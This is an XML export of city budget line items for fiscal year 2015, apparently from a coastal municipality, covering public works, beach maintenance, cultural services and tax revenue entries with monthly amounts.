<row _id="17032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>35759.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35759.0</total></row>
<row _id="17033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>578920.0</object><object_description>PROP A-MAINT (NOT LOCAL RETRN)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="17035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400020.0</object><object_description>PROPERTY TAXES - UNSECURED</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-1023000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1023000.0</total></row>
<row _id="17036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400130.0</object><object_description>TRANSIENT OCCUPANCY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-51410000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-51410000.0</total></row>
<row _id="17037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>690.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>690.0</total></row>
<row _id="17038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="17039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-5575.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5575.0</total></row>
<row _id="17040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="17041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2624362.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2624362.0</total></row>
<row _id="17042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>76039.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76039.0</total></row>
<row _id="17043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18452.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18452.0</total></row>
<row _id="17044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>32000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32000.0</total></row>
<row _id="17045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>407490.0</object><object_description>PLAN CHECK FEES-LANDSCAPE&amp;FORE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="17048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="17049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>35616.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35616.0</total></row>
<row _id="17050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>581.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>581.0</total></row>
<row _id="17051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>55781.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55781.0</total></row>
<row _id="17052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1323.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1323.0</total></row>
<row _id="17053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5869.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5869.0</total></row>
<row _id="17054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="17055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="17056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1235274.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1235274.0</total></row>
<row _id="17057"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>244196.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>244196.0</total></row>
<row _id="17058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3028.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3028.0</total></row>
<row _id="17059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12520.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12520.0</total></row>
<row _id="17060"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1216.0</total></row>
<row _id="17061"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>133713.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>133713.0</total></row>
<row _id="17062"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>407170.0</object><object_description>LA COUNTY PROP A O&amp;M REIMB</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40000.0</total></row>
<row _id="17063"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407202.0</object><object_description>ROSIE'S GIRLS-MATERIALS FEES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17064"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511050.0</object><object_description>CAPITAL PROJECT STAFFING</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-295608.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-295608.0</total></row>
<row _id="17065"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="17066"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>650.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>650.0</total></row>
<row _id="17067"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12910.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12910.0</total></row>
<row _id="17068"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>101364.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>101364.0</total></row>
<row _id="17069"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2553.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2553.0</total></row>
<row _id="17070"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>694306.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>694306.0</total></row>
<row _id="17071"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-38163.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-38163.0</total></row>
<row _id="17072"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>550099.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>550099.0</total></row>
<row _id="17073"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="17074"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="17075"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>404970.0</object><object_description>OFFSITE IMPROVEMENTS REIMBURSE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17076"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-66000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-66000.0</total></row>
<row _id="17077"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>405140.0</object><object_description>415 PCH - CONCESSIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-181500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-181500.0</total></row>
<row _id="17078"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17420.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17420.0</total></row>
<row _id="17079"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>141034.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>141034.0</total></row>
